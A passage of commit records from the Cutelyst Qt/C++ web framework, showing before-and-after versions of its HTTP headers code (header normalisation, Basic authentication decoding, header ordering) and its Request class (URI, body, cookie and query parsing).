= true;\n        for (int i = 0 ; i < key.size() ; ++i) {\n            QCharRef c = key[i];\n            if (c == QLatin1Char('_')) {\n                c = QLatin1Char('-');\n                lastWasDash = true;\n            } else if(lastWasDash) {\n                lastWasDash = false;\n                c = c.toUpper();\n            }\n        }\n\n        pair.key = key;\n        pair.value = it.value();\n        pair.weight = cutelyst_header_order.indexOf(pair.key);\n\n        ret.append(pair);\n        ++it;\n    }\n\n    \/\/ Sort base on the \"good practices\" of HTTP RCF\n    qSort(ret.begin(), ret.end(), &httpGoodPracticeWeightSort);\n\n    return ret;\n}\n\n\nQString HeadersPrivate::normalizeHeaderKey(const QString &field)\n{\n    QString key = field;\n    int i = 0;\n    while (i < key.size()) {\n        QCharRef c = key[i];\n        if (c.isSpace()) {\n            key.remove(i, 1);\n            continue;\n        } else if (c == QLatin1Char('-')) {\n            c = QLatin1Char('_');\n        } else {\n            c = c.toLower();\n        }\n        ++i;\n    }\n    return key;\n}\n\nQByteArray HeadersPrivate::decodeBasicAuth(const QString &auth)\n{\n    if (!auth.isEmpty() && auth.startsWith(QLatin1String(\"Basic \"))) {\n        int pos = auth.lastIndexOf(' ');\n        if (pos != -1) {\n            return QByteArray::fromBase64(auth.mid(pos).toLatin1());\n        }\n    }\n    return QByteArray();\n}\n\nQPair<QString, QString> HeadersPrivate::decodeBasicAuthPair(const QString &auth)\n{\n    QPair<QString, QString> ret;\n    const QByteArray &authorization = decodeBasicAuth(auth);\n    if (!authorization.isEmpty()) {\n        int pos = authorization.indexOf(':');\n        if (pos == -1) {\n            ret.first = QString::fromLatin1(authorization);\n        } else {\n            ret.first = QString::fromLatin1(authorization.left(pos));\n            ret.second = QString::fromLatin1(authorization.mid(pos + 1));\n        }\n    }\n    return ret;\n}\n<commit_msg>some const & usage<commit_after>\/*\n * Copyright (C) 2014 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"headers_p.h\"\n\n#include \"common.h\"\n\n#include <QStringBuilder>\n#include <QStringList>\n\n#include <QDebug>\n\nusing namespace Cutelyst;\n\nQString Headers::contentEncoding() const\n{\n    return value(QStringLiteral(\"content_encoding\"));\n}\n\nvoid Headers::setContentEncoding(const QString &encoding)\n{\n    insert(QStringLiteral(\"content_encoding\"), encoding);\n}\n\nQString Headers::contentType() const\n{\n    const QString &ct = value(QStringLiteral(\"content_type\"));\n    return ct.section(QLatin1Char(';'), 0, 0).toLower();\n}\n\nQString Headers::contentTypeCharset() const\n{\n    const QString &ct = value(QStringLiteral(\"content_type\"));\n    QVector<QStringRef> parts = ct.splitRef(QLatin1Char(';'));\n    Q_FOREACH (const QStringRef &part, parts) {\n        int pos = part.indexOf(QLatin1String(\"charset=\"));\n        if (pos != -1) {\n            int endPos = part.indexOf(QLatin1Char(';'), pos);\n            return part.mid(pos + 8, endPos).trimmed().toString().toUpper();\n        }\n    }\n    return QString();\n}\n\nbool Headers::contentIsText() const\n{\n    return value(QStringLiteral(\"content_type\")).startsWith(QLatin1String(\"text\/\"));\n}\n\nbool Headers::contentIsHtml() const\n{\n    const QString &ct = contentType();\n    return ct == QLatin1String(\"text\/html\") ||\n            ct == QLatin1String(\"application\/xhtml+xml\") ||\n            ct == QLatin1String(\"application\/vnd.wap.xhtml+xml\");\n}\n\nbool Headers::contentIsXHtml() const\n{\n    const QString &ct = contentType();\n    return ct == QLatin1String(\"application\/xhtml+xml\") ||\n            ct == QLatin1String(\"application\/vnd.wap.xhtml+xml\");\n}\n\nbool Headers::contentIsXml() const\n{\n    const QString &ct = contentType();\n    return ct == QLatin1String(\"text\/xml\") ||\n            ct == QLatin1String(\"application\/xml\") ||\n            ct.endsWith(QLatin1String(\"xml\"));\n}\n\nvoid Headers::setContentType(const QString &contentType)\n{\n    insert(QStringLiteral(\"content_type\"), contentType);\n}\n\nqint64 Headers::contentLength() const\n{\n    return value(QStringLiteral(\"content_length\")).toLongLong();\n}\n\nvoid Headers::setContentLength(qint64 value)\n{\n    insert(QStringLiteral(\"content_length\"), QString::number(value));\n}\n\nvoid Headers::setDateWithDateTime(const QDateTime &date)\n{\n    \/\/ ALL dates must be in GMT timezone http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html\n    \/\/ and follow RFC 822\n    QLocale locale(QLocale::C);\n    const QString &dt = locale.toString(date.toTimeSpec(Qt::UTC),\n                                        QLatin1String(\"ddd, dd MMM yyyy hh:mm:ss\")) % QLatin1String(\" GMT\");\n    insert(QStringLiteral(\"date\"), dt);\n}\n\nQString Headers::ifModifiedSince() const\n{\n    return header(QStringLiteral(\"if_modified_since\"));\n}\n\nQDateTime Headers::ifModifiedSinceDateTime() const\n{\n    Headers::ConstIterator it = constFind(QStringLiteral(\"if_modified_since\"));\n    if (it == constEnd()) {\n        return QDateTime();\n    }\n\n    const QString &ifModifiedStr = it.value();\n    QLocale locale(QLocale::C);\n\n    QDateTime localDT;\n    if (ifModifiedStr.endsWith(QLatin1String(\" GMT\"))) {\n        localDT = locale.toDateTime(ifModifiedStr.left(ifModifiedStr.size() - 4),\n                                    QStringLiteral(\"ddd, dd MMM yyyy hh:mm:ss\"));\n    } else {\n        localDT = locale.toDateTime(ifModifiedStr,\n                                    QStringLiteral(\"ddd, dd MMM yyyy hh:mm:ss\"));\n    }\n    return QDateTime(localDT.date(), localDT.time(), Qt::UTC);\n}\n\nQString Headers::lastModified() const\n{\n    return value(QStringLiteral(\"last_modified\"));\n}\n\nvoid Headers::setLastModified(const QString &value)\n{\n    insert(QStringLiteral(\"last_modified\"), value);\n}\n\nvoid Headers::setLastModified(const QDateTime &lastModified)\n{\n    \/\/ ALL dates must be in GMT timezone http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html\n    \/\/ and follow RFC 822\n    QLocale locale(QLocale::C);\n    const QString &dt = locale.toString(lastModified.toTimeSpec(Qt::UTC),\n                                        QStringLiteral(\"ddd, dd MMM yyyy hh:mm:ss\")) % QLatin1String(\" GMT\");\n    setLastModified(dt);\n}\n\nQString Headers::server() const\n{\n    return value(QStringLiteral(\"server\"));\n}\n\nvoid Headers::setServer(const QString &value)\n{\n    insert(QStringLiteral(\"server\"), value);\n}\n\nQString Headers::userAgent() const\n{\n    return value(QStringLiteral(\"user_agent\"));\n}\n\nvoid Headers::setUserAgent(const QString &value)\n{\n    insert(QStringLiteral(\"user_agent\"), value);\n}\n\nQString Headers::referer() const\n{\n    return value(QStringLiteral(\"referer\"));\n}\n\nvoid Headers::setReferer(const QString &uri)\n{\n    int fragmentPos = uri.indexOf(QLatin1Char('#'));\n    if (fragmentPos != -1) {\n        \/\/ Strip fragment per RFC 2616, section 14.36.\n        insert(QStringLiteral(\"referer\"), uri.mid(0, fragmentPos));\n    } else {\n        insert(QStringLiteral(\"referer\"), uri);\n    }\n}\n\nvoid Headers::setWwwAuthenticate(const QString &value)\n{\n    insert(QStringLiteral(\"www_authenticate\"), value);\n}\n\nvoid Headers::setProxyAuthenticate(const QString &value)\n{\n    insert(QStringLiteral(\"proxy_authenticate\"), value);\n}\n\nQString Headers::authorization() const\n{\n    return value(QStringLiteral(\"authorization\"));\n}\n\nQString Headers::authorizationBasic() const\n{\n    return HeadersPrivate::decodeBasicAuth(authorization());\n}\n\nQPair<QString, QString> Headers::authorizationBasicPair() const\n{\n    return HeadersPrivate::decodeBasicAuthPair(authorization());\n}\n\nvoid Headers::setAuthorizationBasic(const QString &username, const QString &password)\n{\n    if (username.contains(':')) {\n        qCWarning(CUTELYST_CORE) << \"Headers::Basic authorization user name can't contain ':'\";\n    }\n    QString result = username % QLatin1Char(':') % password;\n    insert(QStringLiteral(\"authorization\"), QStringLiteral(\"Basic \") + result.toLatin1().toBase64());\n}\n\nQString Headers::proxyAuthorization() const\n{\n    return value(QStringLiteral(\"proxy_authorization\"));\n}\n\nQString Headers::proxyAuthorizationBasic() const\n{\n    return HeadersPrivate::decodeBasicAuth(proxyAuthorization());\n}\n\nQPair<QString, QString> Headers::proxyAuthorizationBasicPair() const\n{\n    return HeadersPrivate::decodeBasicAuthPair(proxyAuthorization());\n}\n\nQString Headers::header(const QString &field) const\n{\n    return value(HeadersPrivate::normalizeHeaderKey(field));\n}\n\nQString Headers::header(const QString &field, const QString &defaultValue) const\n{\n    return value(HeadersPrivate::normalizeHeaderKey(field), defaultValue);\n}\n\nvoid Headers::setHeader(const QString &field, const QString &value)\n{\n    insert(HeadersPrivate::normalizeHeaderKey(field), value);\n}\n\nvoid Headers::setHeader(const QString &field, const QStringList &values)\n{\n    setHeader(field, values.join(QLatin1String(\", \")));\n}\n\nvoid Headers::pushHeader(const QString &field, const QString &value)\n{\n    const QString &key = HeadersPrivate::normalizeHeaderKey(field);\n    const QString &old = Headers::value(key);\n    if (old.isEmpty()) {\n        insert(key, value);\n    } else {\n        insert(key, old % QLatin1String(\", \") % value);\n    }\n}\n\nvoid Headers::pushHeader(const QString &field, const QStringList &values)\n{\n    pushHeader(field, values.join(QLatin1String(\", \")));\n}\n\nvoid Headers::removeHeader(const QString &field)\n{\n    remove(HeadersPrivate::normalizeHeaderKey(field));\n}\n\nstatic QString cutelyst_header_order(\n        \/\/ General headers\n        \"Cache-Control\\n\"\n        \"Connection\\n\"\n        \"Date\\n\"\n        \"Pragma\\n\"\n        \"Trailer\\n\"\n        \"Transfer-Encoding\\n\"\n        \"Upgrade\\n\"\n        \"Via\\n\"\n        \"Warning\\n\"\n        \/\/ Request headers\n        \"Accept\\n\"\n        \"Accept-Charset\\n\"\n        \"Accept-Encoding\\n\"\n        \"Accept-Language\\n\"\n        \"Authorization\\n\"\n        \"Expect\\n\"\n        \"From\\n\"\n        \"Host\\n\"\n        \"If-Match\\n\"\n        \"If-Modified-Since\\n\"\n        \"If-None-Match\\n\"\n        \"If-Range\\n\"\n        \"If-Unmodified-Since\\n\"\n        \"Max-Forwards\\n\"\n        \"Proxy-Authorization\\n\"\n        \"Range\\n\"\n        \"Referer\\n\"\n        \"TE\\n\"\n        \"User-Agent\\n\"\n        \/\/ Response headers\n        \"Accept-Ranges\\n\"\n        \"Age\\n\"\n        \"ETag\\n\"\n        \"Location\\n\"\n        \"Proxy-Authenticate\\n\"\n        \"Retry-After\\n\"\n        \"Server\\n\"\n        \"Vary\\n\"\n        \"WWW-Authenticate\\n\"\n        \/\/ Entity headers\n        \"Allow\\n\"\n        \"Content-Encoding\\n\"\n        \"Content-Language\\n\"\n        \"Content-Length\\n\"\n        \"Content-Location\\n\"\n        \"Content-MD5\\n\"\n        \"Content-Range\\n\"\n        \"Content-Type\\n\"\n        \"Expires\\n\"\n        \"Last-Modified\"\n        );\n\nbool httpGoodPracticeWeightSort(const HeaderValuePair &pair1, const HeaderValuePair &pair2)\n{\n    int index1 = pair1.weight;\n    int index2 = pair2.weight;\n\n    if (index1 != -1 && index2 != -1) {\n        \/\/ Both items are in the headerOrder list\n        return index1 < index2;\n    } else if (index1 == -1 && index2 == -1) {\n        \/\/ Noone of them are int the headerOrder list\n        return false;\n    }\n\n    \/\/ if the pair1 is in the header list it should go first\n    return index1 != -1;\n}\n\nQList<HeaderValuePair> Headers::headersForResponse() const\n{\n    QList<HeaderValuePair> ret;\n\n    QHash<QString, QString>::const_iterator it = constBegin();\n    while (it != constEnd()) {\n        HeaderValuePair pair;\n        QString key = it.key();\n\n        \/\/ The RFC 2616 and 7230 states keys are not case\n        \/\/ case sensitive, however several tools fail\n        \/\/ if the headers are not on camel case form.\n        bool lastWasDash = true;\n        for (int i = 0 ; i < key.size() ; ++i) {\n            QCharRef c = key[i];\n            if (c == QLatin1Char('_')) {\n                c = QLatin1Char('-');\n                lastWasDash = true;\n            } else if(lastWasDash) {\n                lastWasDash = false;\n                c = c.toUpper();\n            }\n        }\n\n        pair.key = key;\n        pair.value = it.value();\n        pair.weight = cutelyst_header_order.indexOf(pair.key);\n\n        ret.append(pair);\n        ++it;\n    }\n\n    \/\/ Sort base on the \"good practices\" of HTTP RCF\n    qSort(ret.begin(), ret.end(), &httpGoodPracticeWeightSort);\n\n    return ret;\n}\n\n\nQString HeadersPrivate::normalizeHeaderKey(const QString &field)\n{\n    QString key = field;\n    int i = 0;\n    while (i < key.size()) {\n        QCharRef c = key[i];\n        if (c.isSpace()) {\n            key.remove(i, 1);\n            continue;\n        } else if (c == QLatin1Char('-')) {\n            c = QLatin1Char('_');\n        } else {\n            c = c.toLower();\n        }\n        ++i;\n    }\n    return key;\n}\n\nQByteArray HeadersPrivate::decodeBasicAuth(const QString &auth)\n{\n    if (!auth.isEmpty() && auth.startsWith(QLatin1String(\"Basic \"))) {\n        int pos = auth.lastIndexOf(' ');\n        if (pos != -1) {\n            return QByteArray::fromBase64(auth.mid(pos).toLatin1());\n        }\n    }\n    return QByteArray();\n}\n\nQPair<QString, QString> HeadersPrivate::decodeBasicAuthPair(const QString &auth)\n{\n    QPair<QString, QString> ret;\n    const QByteArray &authorization = decodeBasicAuth(auth);\n    if (!authorization.isEmpty()) {\n        int pos = authorization.indexOf(':');\n        if (pos == -1) {\n            ret.first = QString::fromLatin1(authorization);\n        } else {\n            ret.first = QString::fromLatin1(authorization.left(pos));\n            ret.second = QString::fromLatin1(authorization.mid(pos + 1));\n        }\n    }\n    return ret;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2013-2016 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"request_p.h\"\n#include \"engine.h\"\n#include \"common.h\"\n#include \"multipartformdataparser.h\"\n\n#include <QtCore\/QJsonDocument>\n#include <QtNetwork\/QHostInfo>\n#include <QtNetwork\/QNetworkCookie>\n\nusing namespace Cutelyst;\n\nRequest::Request(RequestPrivate *prv) :\n    d_ptr(prv)\n{\n}\n\nRequest::~Request()\n{\n    qDeleteAll(d_ptr->uploads);\n    delete d_ptr;\n}\n\nQHostAddress Request::address() const\n{\n    Q_D(const Request);\n    return d->remoteAddress;\n}\n\nQString Request::hostname() const\n{\n    Q_D(const Request);\n\n    \/\/ We have the client hostname\n    if (!d->remoteHostname.isEmpty()) {\n        return d->remoteHostname;\n    } else {\n        \/\/ We tried to get the client hostname but failed\n        if (!d->remoteHostname.isNull()) {\n            return QString();\n        }\n    }\n\n    const QHostInfo ptr = QHostInfo::fromName(d->remoteAddress.toString());\n    if (ptr.error() != QHostInfo::NoError) {\n        qCDebug(CUTELYST_REQUEST) << \"DNS lookup for the client hostname failed\" << d->remoteAddress;\n        d->remoteHostname = QLatin1String(\"\");\n        return QString();\n    }\n\n    d->remoteHostname = ptr.hostName();\n    return d->remoteHostname;\n}\n\nquint16 Request::port() const\n{\n    Q_D(const Request);\n    return d->remotePort;\n}\n\nQUrl Request::uri() const\n{\n    Q_D(const Request);\n    if (!d->urlParsed) {\n        QUrl uri;\n\n        \/\/ This is a hack just in case remote is not set\n        if (d->serverAddress.isNull()) {\n            uri.setHost(QHostInfo::localHostName());\n        } else {\n            uri.setAuthority(d->serverAddress);\n        }\n\n        uri.setScheme(d->https ? QStringLiteral(\"https\") : QStringLiteral(\"http\"));\n\n        \/\/ if the path does not start with a slash it cleans the uri\n        uri.setPath(QLatin1Char('\/') + d->path);\n\n        if (!d->query.isEmpty()) {\n            uri.setQuery(QString::fromLatin1(d->query));\n        }\n\n        d->url = uri;\n        d->urlParsed = true;\n    }\n    return d->url;\n}\n\nQString Request::base() const\n{\n    Q_D(const Request);\n    if (!d->baseParsed) {\n        QString base = d->https ? QStringLiteral(\"https:\/\/\") : QStringLiteral(\"http:\/\/\");\n\n        \/\/ This is a hack just in case remote is not set\n        if (d->serverAddress.isNull()) {\n            base.append(QHostInfo::localHostName());\n        } else {\n            base.append(d->serverAddress);\n        }\n\n        \/\/ base always have a trailing slash\n        base.append(QLatin1Char('\/'));\n\n        d->base = base;\n        d->baseParsed = true;\n    }\n    return d->base;\n}\n\nQString Request::path() const\n{\n    Q_D(const Request);\n    return d->path;\n}\n\nQString Request::match() const\n{\n    Q_D(const Request);\n    return d->match;\n}\n\nvoid Request::setMatch(const QString &match)\n{\n    Q_D(Request);\n    d->match = match;\n}\n\nQStringList Request::arguments() const\n{\n    Q_D(const Request);\n    return d->args;\n}\n\nvoid Request::setArguments(const QStringList &arguments)\n{\n    Q_D(Request);\n    d->args = arguments;\n}\n\nQStringList Request::captures() const\n{\n    Q_D(const Request);\n    return d->captures;\n}\n\nvoid Request::setCaptures(const QStringList &captures)\n{\n    Q_D(Request);\n    d->captures = captures;\n}\n\nbool Request::secure() const\n{\n    Q_D(const Request);\n    return d->https;\n}\n\nQIODevice *Request::body() const\n{\n    Q_D(const Request);\n    return d->body;\n}\n\nQVariant Request::bodyData() const\n{\n    Q_D(const Request);\n    if (!d->bodyParsed) {\n        d->parseBody();\n    }\n    return d->bodyData;\n}\n\nQVariantMap Request::bodyParametersVariant() const\n{\n    return RequestPrivate::paramsMultiMapToVariantMap(bodyParameters());\n}\n\nParamsMultiMap Request::bodyParameters() const\n{\n    Q_D(const Request);\n    if (!d->bodyParsed) {\n        d->parseBody();\n    }\n    return d->bodyParam;\n}\n\nQString Request::queryKeywords() const\n{\n    Q_D(const Request);\n    if (!d->queryParamParsed) {\n        d->parseUrlQuery();\n    }\n    return d->queryKeywords;\n}\n\nQVariantMap Request::queryParametersVariant() const\n{\n    return RequestPrivate::paramsMultiMapToVariantMap(queryParameters());\n}\n\nParamsMultiMap Request::queryParameters() const\n{\n    Q_D(const Request);\n    if (!d->queryParamParsed) {\n        d->parseUrlQuery();\n    }\n    return d->queryParam;\n}\n\nQVariantMap Request::parametersVariant() const\n{\n    return RequestPrivate::paramsMultiMapToVariantMap(parameters());\n}\n\nParamsMultiMap Request::parameters() const\n{\n    Q_D(const Request);\n    if (!d->paramParsed) {\n        d->param = queryParameters();\n        d->param.unite(bodyParameters());\n        d->paramParsed = true;\n    }\n    return d->param;\n}\n\nQNetworkCookie Request::cookie(const QString &name) const\n{\n    Q_D(const Request);\n    if (!d->cookiesParsed) {\n        d->parseCookies();\n    }\n\n    Q_FOREACH (const QNetworkCookie &cookie, d->cookies) {\n        if (QString::fromLatin1(cookie.name()) == name) {\n            return cookie;\n        }\n    }\n    return QNetworkCookie();\n}\n\nQList<QNetworkCookie> Request::cookies() const\n{\n    Q_D(const Request);\n    if (!d->cookiesParsed) {\n        d->parseCookies();\n    }\n    return d->cookies;\n}\n\nHeaders Request::headers() const\n{\n    Q_D(const Request);\n    return d->headers;\n}\n\nQString Request::method() const\n{\n    Q_D(const Request);\n    return d->method;\n}\n\nbool Request::isPost() const\n{\n    Q_D(const Request);\n    return d->method == QStringLiteral(\"POST\");\n}\n\nbool Request::isGet() const\n{\n    Q_D(const Request);\n    return d->method == QStringLiteral(\"GET\");\n}\n\nQString Request::protocol() const\n{\n    Q_D(const Request);\n    return d->protocol;\n}\n\nQString Request::remoteUser() const\n{\n    Q_D(const Request);\n    return d->remoteUser;\n}\n\nQMap<QString, Cutelyst::Upload *> Request::uploads() const\n{\n    Q_D(const Request);\n    if (!d->bodyParsed) {\n        d->parseBody();\n    }\n    return d->uploads;\n}\n\nParamsMultiMap Request::mangleParams(const ParamsMultiMap &args, bool append) const\n{\n    ParamsMultiMap ret;\n    if (append) {\n        ret = args;\n        ret.unite(queryParams());\n    } else {\n        ret = queryParams();\n        auto it = args.constBegin();\n        while (it != args.constEnd()) {\n            ret.insert(it.key(), it.value());\n            ++it;\n        }\n    }\n\n    return ret;\n}\n\nQUrl Request::uriWith(const ParamsMultiMap &args, bool append) const\n{\n    QUrl ret = uri();\n    QUrlQuery urlQuery;\n    ParamsMultiMap query = mangleParams(args, append);\n    auto it = query.constBegin();\n    while (it != query.constEnd()) {\n        urlQuery.addQueryItem(it.key(), it.value());\n        ++it;\n    }\n    ret.setQuery(urlQuery);\n\n    return ret;\n}\n\nEngine *Request::engine() const\n{\n    Q_D(const Request);\n    return d->engine;\n}\n\nvoid *Request::engineData()\n{\n    Q_D(Request);\n    return d->requestPtr;\n}\n\nvoid RequestPrivate::parseUrlQuery() const\n{\n    \/\/ TODO move this to the asignment of query\n    if (query.size()) {\n        \/\/ Check for keywords (no = signs)\n        if (query.indexOf('=') < 0) {\n            queryKeywords = QUrl::fromPercentEncoding(query);\n        } else {\n            queryParam = parseUrlEncoded(query);\n        }\n    }\n    queryParamParsed = true;\n}\n\nvoid RequestPrivate::parseBody() const\n{\n    ParamsMultiMap params;\n    QVariant data;\n\n    const QString contentType = headers.contentType();\n    if (contentType == QLatin1String(\"application\/x-www-form-urlencoded\")) {\n        \/\/ Parse the query (BODY) of type \"application\/x-www-form-urlencoded\"\n        \/\/ parameters ie \"?foo=bar&bar=baz\"\n        qint64 posOrig = body->pos();\n        body->seek(0);\n\n        params = parseUrlEncoded(body->readLine());\n        data = QVariant::fromValue(params);\n\n        body->seek(posOrig);\n    } else if (contentType == QLatin1String(\"multipart\/form-data\")) {\n        Uploads uploadList = MultiPartFormDataParser::parse(body, headers.header(QStringLiteral(\"content_type\")));\n        auto it = uploadList.constEnd();\n        while (it != uploadList.constBegin()) {\n            --it;\n            uploads.insertMulti((*it)->name(), *it);\n        }\n    } else if (contentType == QLatin1String(\"application\/json\")) {\n        qint64 posOrig = body->pos();\n        body->seek(0);\n\n        data = QJsonDocument::fromJson(body->readAll());\n\n        body->seek(posOrig);\n    }\n\n    \/\/ Asign it here so that we clean it in case no if matched\n    bodyParam = params;\n    bodyData = data;\n\n    bodyParsed = true;\n}\n\nstatic inline bool isSlit(char c)\n{\n    return c == ';' || c == ',';\n}\n\nint findNextSplit(const QByteArray &text, int from, int length)\n{\n    while (from < length) {\n        if (isSlit(text.at(from))) {\n            return from;\n        }\n        ++from;\n    }\n    return -1;\n}\n\nstatic inline bool isLWS(char c)\n{\n    return c == ' ' || c == '\\t' || c == '\\r' || c == '\\n';\n}\n\nstatic int nextNonWhitespace(const QByteArray &text, int from, int length)\n{\n    \/\/ RFC 2616 defines linear whitespace as:\n    \/\/  LWS = [CRLF] 1*( SP | HT )\n    \/\/ We ignore the fact that CRLF must come as a pair at this point\n    \/\/ It's an invalid HTTP header if that happens.\n    while (from < length) {\n        if (isLWS(text.at(from)))\n            ++from;\n        else\n            return from;        \/\/ non-whitespace\n    }\n\n    \/\/ reached the end\n    return text.length();\n}\n\nstatic QPair<QByteArray, QByteArray> nextField(const QByteArray &text, int &position)\n{\n    \/\/ format is one of:\n    \/\/    (1)  token\n    \/\/    (2)  token = token\n    \/\/    (3)  token = quoted-string\n    const int length = text.length();\n    position = nextNonWhitespace(text, position, length);\n\n    int semiColonPosition = findNextSplit(text, position, length);\n    if (semiColonPosition < 0)\n        semiColonPosition = length; \/\/no ';' means take everything to end of string\n\n    int equalsPosition = text.indexOf('=', position);\n    if (equalsPosition < 0 || equalsPosition > semiColonPosition) {\n        return qMakePair(QByteArray(), QByteArray()); \/\/'=' is required for name-value-pair (RFC6265 section 5.2, rule 2)\n    }\n\n    QByteArray first = text.mid(position, equalsPosition - position).trimmed();\n    QByteArray second;\n    int secondLength = semiColonPosition - equalsPosition - 1;\n    if (secondLength > 0)\n        second = text.mid(equalsPosition + 1, secondLength).trimmed();\n\n    position = semiColonPosition;\n    return qMakePair(first, second);\n}\n\nvoid RequestPrivate::parseCookies() const\n{\n    QList<QNetworkCookie> ret;\n    const QByteArray cookieString = headers.header(QStringLiteral(\"Cookie\")).toLatin1();\n    int position = 0;\n    const int length = cookieString.length();\n    while (position < length) {\n        QPair<QByteArray,QByteArray> field = nextField(cookieString, position);\n        if (field.first.isEmpty()) {\n            \/\/ parsing error\n            break;\n        }\n\n        \/\/ Some foreign cookies are not in name=value format, so ignore them.\n        if (field.second.isEmpty()) {\n            ++position;\n            continue;\n        }\n        ret.append(QNetworkCookie(field.first, field.second));\n        ++position;\n\n    }\n\n    cookies = ret;\n    cookiesParsed = true;\n}\n\nParamsMultiMap RequestPrivate::parseUrlEncoded(const QByteArray &line)\n{\n    ParamsMultiMap ret;\n    const QList<QByteArray> items = line.split('&');\n    for (int i = items.size() - 1; i >= 0; --i) {\n        const QByteArray parameter = items.at(i);\n        if (parameter.isEmpty()) {\n            continue;\n        }\n\n        const QList<QByteArray> &parts = parameter.split('=');\n        if (parts.size() == 2) {\n            QByteArray value = parts.at(1);\n            if (value.length()) {\n                ret.insertMulti(QUrl::fromPercentEncoding(parts.at(0)),\n                                QUrl::fromPercentEncoding(value.replace('+', ' ')));\n                continue;\n            }\n        }\n        ret.insertMulti(QUrl::fromPercentEncoding(parts.first()),\n                        QString());\n\n    }\n    return ret;\n}\n\nRequestPrivate::RequestPrivate(Engine *_engine,\n                               const QString &_method,\n                               const QString &_path,\n                               const QByteArray &_query,\n                               const QString &_protocol,\n                               bool _isSecure,\n                               const QString &_serverAddress,\n                               const QString &_remoteAddress,\n                               quint16 _remotePort,\n                               const QString &_remoteUser,\n                               const Headers &_headers,\n                               quint64 _startOfRequest,\n                               QIODevice *_body,\n                               void *_requestPtr)\n    : engine(_engine)\n    , method(_method)\n    , path(_path)\n    , query(_query)\n    , protocol(_protocol)\n    , serverAddress(_serverAddress)\n    , remoteAddress(_remoteAddress)\n    , remoteUser(_remoteUser)\n    , headers(_headers)\n    , body(_body)\n    , startOfRequest(_startOfRequest)\n    , requestPtr(_requestPtr)\n    , remotePort(_remotePort)\n    , https(_isSecure)\n{\n\n}\n\nQVariantMap RequestPrivate::paramsMultiMapToVariantMap(const ParamsMultiMap &params)\n{\n    QVariantMap ret;\n    auto begin = params.constBegin();\n    auto end = params.constEnd();\n    while (begin != end) {\n        --end;\n        ret.insertMulti(ret.constBegin(), end.key(), end.value());\n    }\n    return ret;\n}\n\n#include \"moc_request.cpp\"\n<commit_msg>Simplify parseBody()<commit_after>\/*\n * Copyright (C) 2013-2016 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"request_p.h\"\n#include \"engine.h\"\n#include \"common.h\"\n#include \"multipartformdataparser.h\"\n\n#include <QtCore\/QJsonDocument>\n#include <QtNetwork\/QHostInfo>\n#include <QtNetwork\/QNetworkCookie>\n\nusing namespace Cutelyst;\n\nRequest::Request(RequestPrivate *prv) :\n    d_ptr(prv)\n{\n}\n\nRequest::~Request()\n{\n    qDeleteAll(d_ptr->uploads);\n    delete d_ptr;\n}\n\nQHostAddress Request::address() const\n{\n    Q_D(const Request);\n    return d->remoteAddress;\n}\n\nQString Request::hostname() const\n{\n    Q_D(const Request);\n\n    \/\/ We have the client hostname\n    if (!d->remoteHostname.isEmpty()) {\n        return d->remoteHostname;\n    } else {\n        \/\/ We tried to get the client hostname but failed\n        if (!d->remoteHostname.isNull()) {\n            return QString();\n        }\n    }\n\n    const QHostInfo ptr = QHostInfo::fromName(d->remoteAddress.toString());\n    if (ptr.error() != QHostInfo::NoError) {\n        qCDebug(CUTELYST_REQUEST) << \"DNS lookup for the client hostname failed\" << d->remoteAddress;\n        d->remoteHostname = QLatin1String(\"\");\n        return QString();\n    }\n\n    d->remoteHostname = ptr.hostName();\n    return d->remoteHostname;\n}\n\nquint16 Request::port() const\n{\n    Q_D(const Request);\n    return d->remotePort;\n}\n\nQUrl Request::uri() const\n{\n    Q_D(const Request);\n    if (!d->urlParsed) {\n        QUrl uri;\n\n        \/\/ This is a hack just in case remote is not set\n        if (d->serverAddress.isNull()) {\n            uri.setHost(QHostInfo::localHostName());\n        } else {\n            uri.setAuthority(d->serverAddress);\n        }\n\n        uri.setScheme(d->https ? QStringLiteral(\"https\") : QStringLiteral(\"http\"));\n\n        \/\/ if the path does not start with a slash it cleans the uri\n        uri.setPath(QLatin1Char('\/') + d->path);\n\n        if (!d->query.isEmpty()) {\n            uri.setQuery(QString::fromLatin1(d->query));\n        }\n\n        d->url = uri;\n        d->urlParsed = true;\n    }\n    return d->url;\n}\n\nQString Request::base() const\n{\n    Q_D(const Request);\n    if (!d->baseParsed) {\n        QString base = d->https ? QStringLiteral(\"https:\/\/\") : QStringLiteral(\"http:\/\/\");\n\n        \/\/ This is a hack just in case remote is not set\n        if (d->serverAddress.isNull()) {\n            